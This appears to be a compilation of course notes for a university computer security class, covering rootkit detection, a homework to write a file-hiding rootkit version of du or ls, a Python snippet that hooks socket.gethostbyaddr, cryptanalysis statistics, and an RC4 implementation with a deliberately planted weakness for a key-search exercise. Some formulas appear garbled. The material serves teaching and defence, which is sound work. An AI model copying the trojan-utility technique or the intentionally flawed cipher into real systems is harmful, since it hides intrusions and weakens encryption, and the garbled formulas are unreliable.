    print "connecting to:",x
    return x
socket.gethostbyaddr = bogus_gethost
```

I haven’t yet tested this, but either it or some close variation will log calls to gethostbyaddr. It could also redirect certain IP addresses to other IP’s. With only a tiny amount more work, the methods in socket.socket could be aliased.
Project report is due first day of finals. - 12/05/2016. Please put it on icollege

The expected format is a term-paper format. It should be about 10 pages, double spaced, with a title and your name on the first page.

There should be an introduction, body – including methods, and results sections. Remember to include references. You can use figures, but there should be a figure legend explaining them. A report that is all figures without text will receive a poor grade.

References should be, as much as possible, references to primary literature. This can be difficult since some of the “hacking” information is only on websites, but do your best. Wikipedia is not an acceptable reference. Primary literature means peer-reviewed papers, such as those at a meeting or journal. Review papers can be used for background information. If you use a website, state the date as well, because websites change – this is why papers are better. There are internet-only hacking journals like 2600 and phrack and these are acceptable

DO NOT PLAGIARIZE. We will check and you will get a bad grade when we catch you. While short referenced quotations are acceptable, long quotations (for example “paragraph of stuff”, reference, “another paragraph of stuff”, another_reference etc) will not be acceptable.
Detecting and Understanding rootkits,

an Introduction and just a little-bit-more

Copyright (c) 2003 Arturo Alberto Busleiman aka Buanzo.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License"

by Arturo 'Buanzo' Busleiman <buanzo@buanzo.com.ar>

Well, well, well. You have installed the latest Linux distribution and stopped all unnecessary services. You also set-up a set of Netfilter rules that would make the Pentagon Security Department envy you. You drool with delight.

But...

There's always one. You should remember this: there is ALWAYS, at least, one flaw. Just one hole through which a cracker could get into your system and do things you would not do to your worst enemy's laptop.

Talking seriously, the Golden Rule of Security is: "Security is just a state of mind". That means that you THINK you are secured. When you come to believe such a thing, you automatically stop worrying. And that is a Bad Thing (tm).

This is, I am sad to say, what a lot of system administrators do. And that is something attackers tend to take advantage of.

The first thing a cracker will do is among one of these: set up sniffers, read eMail and crontab files, then try to discover the "when's and how's" of the system administrator, etc. They, of course, try to hide their tracks. But most of them just go and install a Rootkit.

What is a rootkit?

For me, it is the evolution of the Trojan Horse concept. It is, in these days, a complete package of trojanized system utilities, with some interesting add-on programs, like specially designed sniffers and, maybe the most dangerous or frightening, kernel modules whose primary objective is to hide certain processes, directories and/or files. Being at the kernel-level can be quite amusing. Imagine: it is the kernel which gives the ability to
execute programs and manage filesystem security.

As system utilities and kernels evolve, so do rootkits. Especially the ones that make use of kernel modules. These are called LKM rootkits. Most rootkits used to be packaged as a set of pre-compiled binaries and an installation script that overwrite files.

As time went on, rootkits started to be a bit more complex at the installation stage: they included the source of the trojan utilities and kernel modules. That gave the attacker the ability to analyze the original utilities installed on the system and make the needed modifications to the trojanized ones. This was done to minimize the differences between the original binaries and the trojanized binaries. They also started requesting a "Master Password" that would be inserted into every compiled trojan. The Master Password is used to access the special features of a trojan, like a passwordless root login.

Of course, a C compiler and a complete set of header files are needed. One way to thwart installation of these rootkits is to remove all development packages from a production system.

In any event, if the attacker now has the desired UID 0 then he can download and install the needed packages, or just use a pre-compiled rootkit. In both cases there are disadvantages to the cracker. But those disadvantages are advantages from the system administrator's point of view.

Detecting new rootkits

All of this article is written with the GNU/Linux operating system in mind. This is because it is easier to develop for it, as all of its parts, like the kernel, libraries and utilities are open source free software.

A new rootkit can either be one that has never been seen before, or one that uses new technologies or previously unused methods of attack. Or both. And that is where our rootkit detection problems start.

How can we detect rootkits? There are simple and complex pseudo-solutions. I say "pseudo" because of the number of false positives we may get. I believe the probability of detecting a new rootkit in our system is directly proportional to our knowledge of the subject. Or, in other words, we should know about how rootkits behave.

As I will show later, there are utilities you can use to detect rootkits. These utilities, which are good enough, sometimes give false positives. They can also give false negatives, which in this case is terrible. This is the reason to do behavioural analyses of rootkits. The only way to detect something is to learn about it. It is sometimes a bit of a sixth sense. I know people who can sit down, use the shell a bit, and suddenly they say
"I'm pretty sure you've been hacked".

Of course, you also need to know your system. But, well, that is something that only experience gives. In the meantime, I really hope I can help you a bit with this article.

As I stated before, a rootkit is usually a set of:

1) Trojanized system utilities and daemons
2) Additional programs
3) Kernel Modules (now quite common)

Let's look at each individually.

(1) Trojanized System Utilities and Daemons

Some examples and explanations:

ls: usually enables the attacker to hide files and directories. It uses a special configuration file.

du: again, hides certain directories and does not count them against disk usage. It also uses a configuration file.

df: You guessed it! It gives more free space than you actually have, to conceal the fact that a large part of the disk is being used to store sniffer logs.

login: Gives automatic root access, usually after a special trigger is activated. What is special about this root access through login is that loggin can be disabled. It also allows direct login to users other than root.

netstat: Hides connections, based upon system variables such as socket pathname, uid, etc.

chfn/chsh/passwd: Usually has a hidden uid 0 shell.

inetd/xinetd: Usually binds an interactive shell to certain port. Most of them can make use of access control features.

ifconfig: If a sniffer is running, it hides the fact that a network interface is probably in promiscuous mode.

ps/top: Filters out processes from the listing, based on paremeters read from a configuration file. Actually, if the proc pseudo filesystem were unmounted, and a trojanized proc-like filesystem module is loaded and then mounted, one could control a wide range of system utilities that read required information from /proc.
syslogd: It will not write messages which contain configured substrings or regular expressions.

md5sum: It returns a certain md5 hash for certain file. Completely configurable. Scripts that use this binary to verify filesystem integrity can be easily compromised this way.

rshd: (Not used very much anymore) Gives the ability to bind an interactive root shell.

At this point you probably get the idea. As you can see, the pattern that rootkit programmers follow for Trojanized Utilities looks like this:

a) Divide utilities into groups, or think about categories and then find which utilities fit them.

b) Add trojan code based upon the category. This means that a utility that sits in the "Login and/or Remote Access" category will probably have trojan code to enable passwordless root login, for example. The same way, another utility in the "Kernel-Related" category, like lsmod, will not show certain kernel modules in the loaded kernel modules list lsmod provides by reading /proc/modules.

Of course, this process can be applied to any installed program or utility.

As you can probably imagine, utilities that are used locally (i.e, when the user is logged onto the system, either via network or at the console) at the shell to show certain vital or important information (e.g, ps) are potential victims. These kinds of utilities are frequently used by users and, especially, sysadmins.

(2) Additional Programs

These are additional programs used by the attacker when he is logged onto the compromised system. Among these utilities we can, and probably will, find sniffers, zappers, encryption utilities, rootkit post-installation configuration programs, file transmission utilities using a special protocol (like ICMP encapsulation) and the like.

It is easy to figure out that these files need to be kept on the compromised system for them to be worth using. The same applies for files generated by programs like sniffers: sniffer logs do take a lot of disk space if not properly tuned.

Usually, the directory where files will reside is going to be well protected. For example, the rootkit can be configured only to allow certain UIDs to get into certain directories. In other circumstances it will hide the directories. This is achieved by: (1) Using trojanized ls/cd/etc
commands or by using a Linux Kernel Module (3). The second approach was some kind of a revolution. Fewer infected files means a lower probability of detection. And since using a kernel module gives a lot of power, a lot of additional features can be conceived.

Usually, rootkit sniffers are developed with the "go to the background and make no noise" approach. This means that they sniff traffic, especially passwords, but they hide the fact that they are running, usually by changing the name that appears on a ps. Trojanized ps/top utilities or /proc filesystems are good approaches to hide processes based on certain configuration parameters.

Then you have wtmp/utmp/lastlog zappers. As you probably know, these are the files read by the w and last utilities. Early rootkit zappers used to zero the records you told them to (i.e which user to zero-overwrite). Current ones just physically remove the record, instead of logically overwriting it with zeroes. Some crackers forget that these are not the only places where their tracks can appear.

Of course, there are a whole bunch of additional utilities, like encryption/decryption utilities, but now there are steganography techniques that are starting to be used. Steganography hides files inside other files, by actually replacing the lower bits of an image or MP3 file, for example. One cannot usually see (in the case of an image) or hear (mp3 file) the difference between the real and the 'injected' version of the file. Of course, the original file size grows, sometimes quite noticeably.

File transmission utilities that help the attacker get files out of the system via methods that do not make system noise (i.e log files being written) are not that common, but are still pretty interesting. I remember when I coded a proof of concept utility that would allow me to send files over a ping packet. From a traffic point of view, I was just pinging some remote system. From my point of view, I was transmitting a file. In a very slow, but largely undetectable, way.

(3) Kernel Modules

The main difference between a normal rootkit and an LKM Rootkit is very simple: normal rootkits replace system utilities that enable the attacker to hide files, processes and network connections.

An LKM Rootkit, on the other hand, does something a bit more interesting: it replaces the location of system calls, changing the original memory addresses to something else, and in that different location there is a trojanized version of the system call. So, they do not need to modify utilities (or libraries), they simply replace what these utilities and libraries use! Rootkits of this sort go by the names of Rkit and Adore LKM, just to mention a couple of the most common ones.
Here is a list of the typically modified system calls: `sys_clone`, `sys_close`, `sys_execve`, `sys_fork`, `sys_ioctl`, `sys_kill`, `sys_mkdir`, `sys_read`, `sys.readdir`, `sys_write`.

Utilities to Detect Rootkits

* Chkrootkit

Rootkit detection utilities are usually a package of many utilities: promiscuous mode detectors for NICs, utilities to detect removed entries from lastlog and wtmp files, some system utility replacements (e.g. `strings` and `find`) and utilities to search for sniffer and rootkit log files. In my opinion, Chkrootkit is one of the best packages out there: it's small, less than 40kb, and complete. It is very useful and detects many rootkits, like `t0rn`, `lrk`, `Ark`, both versions of `Adore`, `T.R.K`, etcetera.

Using it is as simple as "download, untar, make and execute" in most cases, but Chkrootkit provides two command line switches that I find extremely useful:

a) If you can get to the disk you want to analyze and mount it on a trustworthy machine, the -r command line switch allows you to set up the "root" to another directory. For example, if you mount the possibly compromised system on `/mnt/testing`, you could just use "chkrootkit -r /mnt/testing".

b) If you cannot do this, you should always have trustworthy, statically-linked copies of the following commands: `awk`, `cut`, `egrep`, `find`, `head`, `id`, `ls`, `netstat`, `ps`, `strings`, `sed`, and `uname`. Chkrootkit makes use of these system utilities to search and analyze binary and log files. As these system utilities may already be compromised, it would not be a good idea to use them. Provided you have these safe utilities in `/mnt/safebin`, you can use "chkrootkit -p /mnt/safebin". You can specify multiple directories, just by separating them with colons. Of course, it would be a good idea to keep these safe binaries on a read-only medium, like a CD-ROM or a protected floppy disk.

Of course, you can use both the -r and -p switches in combination to provide the maximum poddiblr level of safety.

Chkrootkit has an expert flag, -x, which outputs strings taken from the binary files it analyzes. It generates a lot of output, so it is a good idea to redirect all of it to a file so it can be throughly analyzed.

* LKM-Rootkit detection

The only way an LKM rootkit can be detected is by analyzing kernel memory directly. One of way to do this is to compare system call addresses (you will recall that LKM rootkits change them). This task can be easily performed by using tools such as `kstat`, which read kernel memory through
/dev/kmem. kstat provides information on running processes via its '-P' switch, which includes hidden processes. Compare its output with what "ps aef" tells you. Additionally, you can query a specific process id with the '-p <pid>' parameter. To analyze system call addresses you should specify the '-s' switch. After an initial system installation and full configuration, record "kstat -s" output. Memory addresses there will provide correct values you can compare from time to time. Lines with a WARNING show the possibility that your system has been compromised. kstat can also act as a replacement for Ismod with the '-M' switch. You will be able to read the trojan kernel module on the list.

(note this doesn't work on linux, where the equivalent information is found with lsmod and modinfo or the entries in the /proc filesystem)

* Tripwire and similar tools

If well configured, Tripwire can be an excellent tool. It uses GnuPG-like encryption and signing of database files. These database files contain hashes and other data like permissions and ownership for system files and directories. A system administrator can execute periodic tests against this database and, if differences appear between the stored and the current status of the filesystem, Tripwire will send a very detailed report through eMail.

Of course, you could use a script to generate an initial md5 hash database to be stored on a CD-ROM, along with the required md5sum utility (statically linked). You could also add signature-checking capabilities through GnuPG. I prefer this method over Tripwire, because I prefer doing things simply. Tripwire requires a lot of effort, whereas you can use this method by using built-in utilities.

* Port Scanning

Most rootkits open up an administrative port, or bind a remote shell. Because of this, it would be a good idea to port scan the full range of TCP and UDP ports, from 1 to 65535, and mix that output with "kstat -P" and "lsof -i", so you can recognize which processes open which files/sockets. One of the best tools out there, as we can see on Matrix Reloaded, is Fyodor's most excellent Nmap. An external firewall (I mean a real firewall, not a Netfilter on the same host), could be used to block traffic to these ports, but this method usually causes big arguments. As Einstein would say: All is relative.

Dealing With Rootkits Once You Find Them

It all depends, but this is usually the simplest step. This article is intended for System Administrators, and not Honeynets or security developers. The usual thing to do would be to re-install the system, replacing the trojan files. Do not trust backups at all, unless you are
absolutely and completely sure that they are not infected. If possible, dump all of your databases, all of your data, and do a fresh install, instead of an overwriting one.

But you should always try to discover through which hole the attacker got in. This way they will not be able to do it again after the system reinstallation. Remember the Golden Rule. Remember to update packages, either by compiling them yourself, which is what I prefer, or via your vendor's Online Update service.

Final Comments

The only way to detect something is to understand what it does, how it looks, and how it does what it does. For rootkits and LKM rootkits, this means that we should know how they work (i.e. trojanizing binaries or system calls), how they look (a badly installed rootkit can make a system unstable or unusable; the t0rn rootkit has a tendency to break console logins if not correctly set up), and how they do it (replacing files or system calls addresses). Setting up an Intrusion Detection System, like Snort, would be a good idea.

I hope you have found this article useful. Please access the following URLs to find commented software and additional documentation.

Greetings from Buenos Aires, Argentina!

URL list:

* Netfilter: http://www.netfilter.org - Linux 2.4 firewalling, NAT and packet mangling subsystem and iptables user-space tools.
* GNU/Linux: http://www.gnu.org - FSF's GNU Project.
http://www.kernel.org - The Linux Kernel
* Chkrootkit: http://www.chkrootkit.org - Chkrootkit and additional documentation.
* Kstat: http://s0ftpj.org/en/site.html - 'soft' with zero, not o.
* Tripwire: http://www.tripwire.org
* Honeynets: http://www.honeynet.org - The Honeynet Project. Highly Recommended. Quote from site: "To learn the tools, tactics, and motives of the blackhat community, and share those lessons learned."
* Nmap: http://www.insecure.org/nmap/

GNU Free Documentation License (It's licensed under that (10 pages deleted)).
Note, a rootkit isn't useful for any purpose if the perpetrator can't access it. So there will always be some form of access modification. It could be an unusual port, or an unusual activity for a port (ssh on port 80), or a privilege escalation so that a regular user can become a system manager. It will be hidden as best as is possible, but there has to be a way for it to be enabled.

Port scanning is really useful as it can return the version of a service associated with a port. If it doesn't match up with what should be there then there is a pretty good chance that a rootkit is installed or the system has been compromised.

My favorite program for this is nmap, but there are many others.

On rootkits. A rootkit is a collection of programs that have been modified to mimic normal system behavior but avoid reporting on a specific process or user. Worms often install a rootkit to make it easier for a hacker to work. Hoglund and McGraw is a very good source for this homework.

1) What Unix commands should be mimicked for a rootkit. Include what is necessary to login and see programs running as well as disk usage.

2) Write a rootkit version of du or ls or similar utility. (ps would also work) Make it skip files/directories that start with RWH (for example /home/luser/a/RWHfile or /home/luser/RWHdirectory/another but not /home/luser/a/RWHfile). It should adjust the total usage to reflect the skipped files. Use C or C++ because it should not depend on a scripting interpreter. Please supply sources and executable.

Handling the command line arguments is harder than you think.
Practicing Statistics without a License.

Classical Frequentist Approach:

Can we show that two things are identical with frequency-based statistics? Or, is it easier to show that two things are different?

**Sample size, frequencies and sufficiency.**

Given a sample of size $N$, frequencies are estimated by

$$f(x') = \frac{\text{#times symbol is 'x' / total # of symbols}}{\text{total # of symbols}}$$

where 'x' is whatever we think is a symbol (it can be a string for example).

In the unobtainable limit of $N \to \infty$ the frequency converges to the probability $f(x') \to p(x')$. This is a consequence the law of large numbers.

$$\mu = \lim_{N \to \infty} \frac{1}{N} (X_0 + \ldots + X_N)$$

(The mean converges in the limit of very large numbers)

Defining $X$ as $f_0(x') - p(x')$ with a mean value of 0 shows that the errors in frequency vs. probability eventually disappear with large samples.

The problem is how fast does this converge? The answer is not very quickly. It is governed by the Central Limit Theorem (CLT). In its simplest version the convergence of errors follows a binomial distribution (coin flips of +/-) which is well approximated by a Gaussian with $\sqrt{N}$ as a standard deviation. The ratio between deviation and $N$ then goes as $\frac{1}{\sqrt{N}}$ (Note to the cognoscenti – this is a very approximate approach, and there are much better “real” proofs and definitions).

The consequence of this is that infrequent events may not be observed very accurately relative to more frequent events. (for example the letter 'q' is seen in less than 1% of English letters (0.17%) – so it would be surprising if exactly 17 were seen in 10000 letters, and it might have an anomalous frequency in unusual texts “Queuing queer queen moves quickly wins in chess”).

The problem in cryptanalysis is that we don't have good control (if any) of sample size. We have what we have. While there are historical examples of generating “traffic” to get larger samples, and there are attacks which involve generating “chosen ciphertext”, we cannot, in general, assume that we can get arbitrarily large samples.

**Sufficiency.** The idea of sufficiency is that a “sufficient statistic” is a function that captures enough of the information in a distribution from samples to reliably estimate the parameters of the distribution.
For example with a normal distribution:

\[ N(x, \mu, \sigma) = \frac{1}{\sigma \sqrt{2\pi}} e^{-\frac{(x-\mu)^2}{2\sigma^2}} \]

the estimated mean and standard deviation are sufficient statistics to reproduce the distribution. Note that there are other combinations of statistics that would work too. These would be a little harder to use, but would work.

**Using sufficiency to decide.** The key idea is that we calculate a sufficient statistic on our sample and compare it to the values we estimate from our model distribution. Or we calculate the sufficient statistics on two samples and compare them. If, in some general sense, they are the 'same', then we say that the two underlying distributions are the 'same'. The central limit theorem can be used to provide sample error bounds on what is mean by being 'the same', and a probability of being an accidental agreement can be derived using a number of standard statistical tests (chi-squared, Student's T-test etc).

**The Big Problem.** Complicated distributions require complicated models and many more parameters.

\[ Nasty(x, \mu_0, \sigma_0, \ldots, \mu_n, \sigma_n) = \frac{1}{Z} \text{Polynomial} \left( e^{-\frac{(x-\mu_i)^2}{\sigma_i^2}} \right) \]

Will require \(2(n+1)\) statistics to be sufficient.

What happens if there isn't enough data to find all \(2(n+1)\) statistics with any pretense of accuracy?

**Negation Rules!** We can always generate a simple model and show that our distribution is different from it. Then we only need enough sample to calculate a sufficient statistic for the simple model. The uniform distribution (uniform prior) is usually a good model for a non-solution of a cryptosystem, since the goal of encryption is to remove information from the message in the absence of a key. It is also relatively easy to analytically calculate expected values of statistics for uniform distributions.

\[ \mu(U) = \frac{1}{N}, \sigma(U) = 0 \]

\[ 2nd \ \text{moment}(U) = N\left( \frac{1}{N} \right)\left( \frac{1}{N} \right) = \frac{1}{N} \]

We will see this again and again so don't forget it!

Another example can be seen with binary ciphers that take the space of 8-bit bytes (\(Z^8\)) to itself. If the plaintext is in ASCII characters which are all in the 7-bit space, then there is one bit of the plaintext per character that is always known (the “sign” bit) and is 0. Any decryption that does not produce all of the “sign” bits being 0 is wrong and the amount of sample I need to make this decision is smaller than the amount I need to make the decision based on a more complete model of the language. If the probability of the “sign” bit being 0 is 0.5 then the probability of an accidental string of 0's is \(0.5^N\) which converges to zero rather quickly. (Negation is “almost” Bayesian)
We need to be able to identify when a string is in a (human) language. It is also important to be able to recognize when two strings have been encrypted by the same algorithm in the same key. We've seen that doing this by hand is rather tiresome. Therefore we need to examine computable measures that we can use. We assume that if two strings are characterized by identical distributions, then they come from the same source. The measures listed below describe several ways of characterizing the distributions.

1) Approximate Measure of Probability.
   Given a sample of size N, the probability that an event (e.g., the occurrence of a given symbol) occurs is approximated by:
   \[ \sum \delta(t_i, x)/N \]
   where \( \delta \) is 1 when the two symbols are the same and 0 otherwise.

2) Incidence of Coincidence or
   \[ k(t, t') = \sum_{i=1}^{N} \delta(t_i, t'_i)/N \]
   where \( \delta \) is 1 when \( t \) equals \( t' \) and 0 otherwise.
   \( k \leq 1 \) and is only equal to 1 when the two texts are identical. If the sources are characterized by a probability distribution \( p \), then the expected value for \( k \) is the sum of \( p^2 \). If the source is random (or if the sources are random with respect to each other) then the expected value is just \( 1/n_{\text{symbol}} \).

3) Measures of smoothness for the distribution \( \Phi, \Psi \)
   \( \Phi, \Psi \) measure the smoothness of the distribution. Uniformly distributed symbols are smooth, and meaningfully distributed symbols are not (to first approximation). For both of these functions one calculates the empirical distribution \( m \), which is just the number of times the symbol is symbol \( i \) divided by the total number of symbols in the string (i.e., the size of the string).
   \[
   \Psi(T) = \sum_{i=0}^{N_{\text{symbols}}} (m_i - m_{\text{average}})^2 = \sum_{i=0}^{N_{\text{symbols}}} (m_i^2 - 2m_i m_{\text{average}} + m_{\text{average}}^2)
   \]
   \[
   \Phi(T) = \sum_{i=0}^{N_{\text{symbols}}} (m_i - m_{\text{average}})^2 = \sum_{i=0}^{N_{\text{symbols}}} (m_i^2) + \text{constant}
   \]
   so we just drop the constant.
   \[
   \Psi(T) = \sum_{i=0}^{N_{\text{symbols}}} m_i^2
   \]
   (some authors normalize in this formula, in which case it is \( m/M \) where \( M \) is the size of the string).
   \[
   \Phi(T) = \sum_{i=0}^{N_{\text{symbols}}} m_i(m_i - 1/N)
   \]
\[ \Phi(T) = \sum_{i=0}^{N_{\text{symbols}}} m_i (m_i - m_{\text{average}}) \]

(again this is for normalized m, for un-normalized the \(m_i M\) would be just \(m_i\))

These formulas appear to be "magic", but are actually based in approximations to the entropy of a distribution (information theory). The information contained in a distribution can be defined as \(-\log(p)\). This is "simply" a useful way of describing how many "bits" are needed to represent the distribution at a given fidelity. It is also a very useful way to handle joint distributions because the logarithms add when the probabilities multiply. The expected value of the information (-p \(\log p\)) is identified as the entropy and this is maximized when the distribution is mostly flat. Chernoff noted that \(\log(x) \leq x - 1\) and therefore \(x \log(x) < x(x-1)\).

4) Chi function.

\[ \chi(T, T') = \sum_{i=1}^{M} \frac{m_i m_i'}{M^2} \quad \text{For unnormalized or} \]

\[ \chi(T, T') = \sum_{i=1}^{M} m_i m_i' \quad \text{for normalized}. \]

Note that \(\chi(T, T)\) is just \(\psi(T)\)

5) Kappa Psi or Kappa Chi equivalence.

\[ \chi(T, T') = \frac{1}{M} \sum_{n=0}^{M-1} \text{Kappa}(T^{(i)} T') \quad \text{Where} \quad T^{(i)} \text{ is } T \text{ shifted circularly by } i \text{ positions. This gives you an estimate of what Kappa should be if the two texts are drawn from the same source which is sort of important if you are not sure that they are.} \]

6) Measures of errors in the distribution \(\chi^2\)

An empirical distribution \(m\) can always be compared to a theoretical distribution \(p\) by a \(\chi^2\) test.

\[ \chi^2 = 1/(N - 1) \sum_{i=0}^{N_{\text{number of symbols}}} (m_i - p_i)^2 \]

(unscaled version would replace \(p\) by \(p*M\)).

This will be minimal at a correct decryption.

7) How much text is enough? (unicity distance).

The unicity distance is the size of the message which has a unique key. It can be estimated by using the entropy of the distribution \(p\). It depends both on the underlying clear language and the cipher system. For single substitution in English it is about 25 characters.

\[ U = \frac{1}{3.5} \log Z \quad \text{where } Z \text{ is the number of possible cipher combinations}. \]

3.5 is a
constant chosen to make $U = 25$ when $Z = 26!$. With Caesar ciphers $Z = 26$ (for $N=26$ letters), for monoalphabetic $Z = 26!$, for dialphabetic $Z = (26^2)!$. With block keyed ciphers like DES where there are $2^n$ keys then $Z$ is $2^n$.

6) Patterns in the plaintext

In addition to the frequencies of characters, analysis can be made of the repeat distances between symbols or the “period” or format of the message. In WW2 the enigma system was analyzed with a special purpose machine (a “bombe”) that explicitly looked for patterns in the text (for example the distances between the 'e's in “neider mit den Englander” (it was actually more complicated than this and we'll treat it in detail later.). Similarly, knowing that a message is mostly ascii letters is enough to detect a good key with most modern cryptosystems because of the number of bits that must be zero. Can you estimate the probability of a pattern using the tools already described?
Source Modeling

The empirical tests we've just discussed are useful, but can be improved if there is a good model for the source of the message. In fact without a model we can't apply tools like chi-squared.

Basic Idea:
We find a statistical model that reflects some properties of a language. When these are met then we assume we are likely to have a solution.

Generalized Machine Decryption Algorithm:

Assume (i.e. Make a guess) a keyed mapping between Cipher (C) and plaintext (P).

Search the space of keys for keys which maximize the expected correspondence between decryption and the statistical model of the language. The search can be intelligent and use information from the statistical model, or just be brute force.

Report the best correspondence solutions.

Good modern cryptosystems use a large key space to make this search non-trivial. Keyspaces the size of $2^{40} - 2^{56}$ are readily searched with modern machines.

Much of the research in cryptanalysis is in finding methods to reduce the key search to a tractable level either by restricting the space of keys by analysis of a set of related messages or by finding algebraically equivalent problems that are easier to solve.

Some Source Models:

1) uniform distribution over all symbols. This is a model of C for a good modern cipher. It is not a good model of a human language. So we maximize the difference between this model and our decryption. This is an example of disproving a null hypothesis.

$$P(\text{symbol}) = \frac{1}{N_{\text{symbol}}} \quad P(\text{symbol}_1, \text{symbol}_2) = \left(\frac{1}{N_{\text{symbol}}^2}\right)^2$$

2) Empirical Individual Distribution. Take a sample text and count the distribution of symbols.

3) Empirical Multiple Symbol. Take a sample text and count the distribution of pairs, triples, etc. This is a good model, but most entries will be unobserved.

4) Empirical Transition Probability. Calculate (3) above, but normalize based on path.

$$P(\text{symbol}_1, \text{symbol}_2, ...) = P(\text{symbol}_1) \cdot P(\text{symbol}_1|\text{symbol}_2) \cdot ...$$

Where $P(1 \mid 2)$ means $P(1\text{ given } 2)$.

This is a fairly compact and order dependent representation of strings.

5) Known Text (aka a “Crib”). Specific strings that are likely to exist in the text.
Using the models

1) Individual.

\[ P(\text{are}) = P(a)P(r)P(e) \]
\[ P(\text{rea}) = P(a)P(r)P(e) \]

2) Multiple

\[ P(\text{are}) = P(\text{ar})P(e) \text{ or } P(\text{a})P(\text{re}) \text{ or } P(\text{are}) \]
\[ P(\text{rea}) = P(\text{re})P(a) \text{ or } P(\text{r})P(\text{ae}) \text{ or } P(\text{rea}) \]

3) Transition.

\[ P(\text{are}) = P(a)P(r|a)P(e|r) \]
\[ P(\text{rea}) = P(r)P(e|r)P(a|e) \]

Not that the values in 2,3 are not always the same. Even though the mathematical formulations should be equivalent, the observed empirical values may not give identical answers.

Using the Models.

**ENTROPY**

\[ S = \int dP \ P \ln P \approx \int dp \ P(1-P) \approx \sum P(1-P) \approx \sum P \ln P \]

This measures the difference from a uniform distribution.

Conditional entropy

\[ S = \int dP \ P \ln \frac{P}{X} \approx \int dp \ P(1-P) \approx \sum P(1-P) \approx \sum P \ln \frac{P}{X} \]

where \( X \) is the prior distribution or the distribution we want to measure against.

Relative Entropy

\[ S = \int dP \ P \ln \frac{P}{X} - \int dX \ln \frac{X}{P} \]

and many, many more.
Stream Ciphers Part 2

Stream ciphers are an approximation to one time ciphers where the key is derived by a pseudo-random algorithm rather than a truly random source. The more random the initialization of the pseudo-random source, the better the cipher will be. (Chapter 10 in Viega and McGraw describes some of these issues.) However, if a truly random key is used (i.e. the number of microseconds mod $2^{64}$ since January 1 1970 (not really, why?)) then it has to be saved and communicated as part of the key.

Actually, using a clock value as a seed is not a very good idea as it lays the system open to timing attacks. After all there are only a thousand milliseconds in a second. A famous example of this occurred with internet poker. The programs used the millisecond as a seed for the random number generator that generated the poker hand. Unfortunately, this meant that it was easy to determine the seed once a few cards were revealed, and thus know every card that was dealt, because there were only a few thousand hands that had to be examined. In other words the number of seeds was much smaller than $56!$.

The key stream is combined with the clear text (the message) using a simple and invertible operation. The most common operation is XOR, but modular addition will work just as well.

There are two serious problems with stream ciphers

1) If the plain text is known, then the key stream is available.
2) The message can be altered without decryption.

For example, suppose that a message could be originated from a bank saying to pay an account a certain amount of money. If this message was encoded with a stream cipher it might go from "PAY ACCOUNT #123456 0000010 cents" to some random looking string. None the less a clever crook who knew the format could change a few bits and cause the decryption to change to "PAY ACCOUNT #123456 1000010 cents" or change the account number.

The ability to forge messages is a serious drawback for these schemes, and one reason block ciphers like DES and AES are still used. The generic solution is to add some sort of message authentication code (or MAC) to the message. If the code checks out, the message can be accepted as valid. MAC's are generated by cryptographic hash functions like SHA and MD5. (Trappe & Washington Chapter 8).
Security Issues for a MAC

There are four basic ways a MAC could be used:

- Encrypted Message + MAC on Encryption
- Encrypted Message + MAC on clear
- Encrypted(Message + MAC on clear)
- Encrypted(Message + MAC on clear) + MAC on Encryption

These do not give equivalent security. Why?
Class experiment #1.

The file classcipher2 is encrypted with the program defined by rc4.cpp. There is a subtle bug in the implementation that makes it weak. What is it?

1) The ciphers cipher1, cipher2, …, cipher5 are encrypted with RC4. At least two share a key. Which share a key? (it isn't in /usr/share/dict/words).

2) The key for classcipher2 may be in the file /usr/share/dict/words. If the text is English, define a strategy to test these possible keys.

3) Implement this strategy. (there are only 480,000 or so words in /usr/share/dict/words) Warning – the file has a '
' after every line, and that wasn't part of the key used to encrypt.
/*
// RC4.cpp
\/
// rc4 classes for a generator
\/
// not a really good implementation (64 bit limit with long)
\/
// but good enough for CSc8370 where we're going to play with
// shorter keys anyway.
\/
//
// there is a subtle bug in this code, so don't use it for production
// (at least until you've fixed it!!!!)
\/
// (c) 2002 Robert W. Harrison
*/

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
/*
// yes these are the C IO libraries
\// yes i know about streamio
// no i don't like it.
*/

using namespace std; // DUH

class rc4
{
    // private space
    unsigned char *S; // the keyspace
    unsigned char icount,jcount; // ok i could use byte

    public:
    rc4( long long seed);
    ~rc4( void );

    unsigned char next( void );

};

rc4::rc4( long long seed)
{

```c
int i, j;
unsigned char *K;
K = new unsigned char[256];
S = new unsigned char[256];

union {
    unsigned char bytes[8];
    unsigned long long lseed;
} ;
lseed = (unsigned long long) seed;

for( i=0; i< 256; i+= 8)
{
    //
    // this loop is written out so the code will be faster
    // not much faster, but it will help if
    // we do a keysearch
    //
    K[i  ] = bytes[0];
    K[i+1] = bytes[1];
    K[i+2] = bytes[2];
    K[i+3] = bytes[3];
    K[i+4] = bytes[4];
    K[i+5] = bytes[5];
    K[i+6] = bytes[6];
    K[i+7] = bytes[7];
}
for( i=0; i< 256; i++)
{
    S[i] = i;
}

j = 0;
for( i=0; i< 256; i++)
{
    j = (j + S[i] + K[i])%256;

    unsigned char x;
    x = S[i];
    S[i] = S[j];
    S[j] = x;
}
icount = 0;
jcount = 0;
delete [] K; // no memory leaks, right?
```
```cpp
rc4::~rc4(void)
{
    int i;

    // before we free the S buffer we need to ensure that it is wiped
    // (paranoid, well maybe)
    for( i=0; i< 256; i++)
        S[i] = 0;

    icount = 0;
    jcount = 0;
    delete [] S;
}

unsigned char rc4::next(void)
{
    icount = (icount+1)%256;
    jcount = (jcount+S[icount])%256;
    unsigned char x;
    x = S[icount];
    S[icount] = S[jcount];
    S[jcount] = x;
    int t;
    t = (S[icount] + S[jcount])%256;
    return S[t];
}

// end of class definition

int main( int argc, char *argv[])
{
    int i;
    if( argc < 2)
    {
        fprintf(stderr," Usage is rc4 key < file > file\n");
        exit(0);
    }

    union { unsigned char key[8];
             long long seed; 
    };```
for( i=0; i< 8; i++)
{
    key[i] = 0;
}

for( i=0; i< 8; i++)
{
    char *cp;
    cp = argv[1];
    if( cp[i] > '\0')
    {
        key[i] = cp[i];
    }
    else
    {
        break;
    }
}

rc4 *a_stream;
a_stream = new rc4( seed );

unsigned char achar;

while( (i = fgetc(stdin)) != EOF)
{
    achar = i;
    achar = achar ^ a_stream->next();
    fputc( achar, stdout);
}
}// end of main */
